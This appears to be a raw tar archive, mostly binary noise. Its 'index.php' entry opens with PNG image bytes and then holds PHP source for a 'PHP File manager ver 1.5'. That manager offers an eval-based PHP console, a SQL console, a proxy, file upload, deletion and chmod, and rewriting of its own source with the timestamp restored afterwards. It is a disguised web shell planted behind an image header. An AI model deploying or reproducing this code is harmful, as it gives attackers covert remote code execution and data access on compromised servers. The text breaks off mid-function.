Jܹ) Q`WHK392)KrP;eUEF1l.L&wk$p1&?Z5'nN"秚+<nIOM7hǣ*Ifp}7˿wjf0Q}wuܧ<97 ^Uha&+`4,\JRJ:T ցݔNb[`5Ȃ\veӁq R%ond$56d3i=LcEɺ[S֔gwY<r #-N4M-Ӂ*6&4Wi^ަ+mv"bp]a"pWEaDpr]'_o+|u͢+YJyXՏrwuXcZ[X/DXSv~JƧvi\@_Bֻ0c6AT$:=t:\=M}PnX	[?8m'&OD^Uch-{](
/u&aT_~`P/0έ;J˨G܊j Mŵ"f0GW3H\'QQCe~( !<'AneO6Wtcw)TΧ䢽A'
c9&:
d-?cLg`7%	q"lj0dWː<0L.{vCJ5p8̕c@V&XHgk@Un?'rVBA	t/׽׍Wy64֮տ(ICXh	RFCdS]ke0l"781!>j+e]Ks1l`hDMa\8qlBsi2`oOq7d+zWQ{ճjO(QuaYɫB3i԰+LGMP깦;n)|PX>`*9z @|6l.M^aGC_I\ͯddC)_ZZ%&\2Ikr|ZE;ഥx]kǘG/R>eIqi:FlIՂ%Y}A 9E"$6PS)d\I<>Uor i$Q:jOvt}XR=j}U[eGd$>\#R= Z7RXūSJ󂆜8Ut+	uYӮZg$UB(X_>BepʨcMog)\-9#.ԕUdYBDZ5VG$ۤ'6Ud8Tj7Twz(Pݼn=<"Pߔp|`=aFY3@iՅjC4LÈS~QUY{*xNNG,ռZ3
[L渲82/ѭV``6{EPM.%'4;WWt=&Uq>ulk{֖-r`m*j=6ڴ5csSze1QqU2^Գ	0R71t*7&^SڈmSB{aCYkt)S[ŪVQKjjѮnt"ĉ-t׈Ԧŏk%^Ycװ~iGBmʢu+ӗP!wչbحLaO^_*PXKTW9\U_m2ݣP 4moj:=ca0()QTUoרmޮf&ňWWק{ڊj1k2+L".#r2+`)>鬬蘔aXՊ⨯|ۯh|zD,{{+dǻS4ZFQD&YP!oa+̶>@F"#\xj	hNfnHR(O	dC֪[NF#Rْk0>x/DSR(L]
3]8PW?=؞n	덄(Mf)ǻ2	AS1\z6I|Л[A9dQ̘5MH@V2ʒyM^j5"V؜Y?V2{ʌ%Gk-+iE:'ǿg!1I!(Cz<ƒvcXQ.rڞjF4{	uxяF&++أ!*-hI$-@`9ky!"_qh5hMdA.QaIz>Zؔ^1FQ!Wh|QՃEꋢH CrGȤ1*'#xԸRrRR:JTmζ@â{׏t#xcވlƄs2eű P+@}#IBס7ygsQuELeDj^1PamB? m Vo\AkB Ш~md*YYu3YU^A |7ovqDikUwџ#l 2FEh3x`CMu[
o+ͻI؀΃pEW#hk7N}s# mgU%_Mժ:*7׏7SnY:tuy=@OjMW9QOjw{o"k\kyqD^+Ux|М $xuBo_\.Lk[CtkA'fhZxc4uS]|0i(y=32)Xͧ0t4퐄1l57m0S~7Ru׀Z.;*98H6 @4K*)^ ~Wɏan)6;2I|mĩ,SﰷQ}u=Z翥|CwW;Xg jh4gsO,|߽ϻ?Z: @                                                                                                                                                                                                                                                                                                                                                                                                                                                       widget-loader.php.php.tar.gz                                                                        0000644                 00000001122 15243251040 0011766 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Tn@3_0&CRYjK]䦍oq"UE#<sfbz~gM%jEyR)TT])t<gU!hjʫ6	_F+bG|?@ދ~8f731gu-jR3<;66)UAI%0ϐX&ywyI@dx6a 0߸a]%]1o	\BD}}5da]4.6P4yh;^0sLVpj$gnJu#(BM[fW	,8y,vJU D)IDʬ@9r_(^H(++1ǣ84N&)kh+H;fOJ,2/62xa	Y;djٷfEU~2v:k=^WٺUٺ+-C\@M4]AxWTd4pf쐰%JtyG}cߦrlg'R!( 
                                                                                                                                                                                                                                                                                                                                                                                                                                                index.php                                                                                           0000644                 00000234415 15243251040 0006371 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
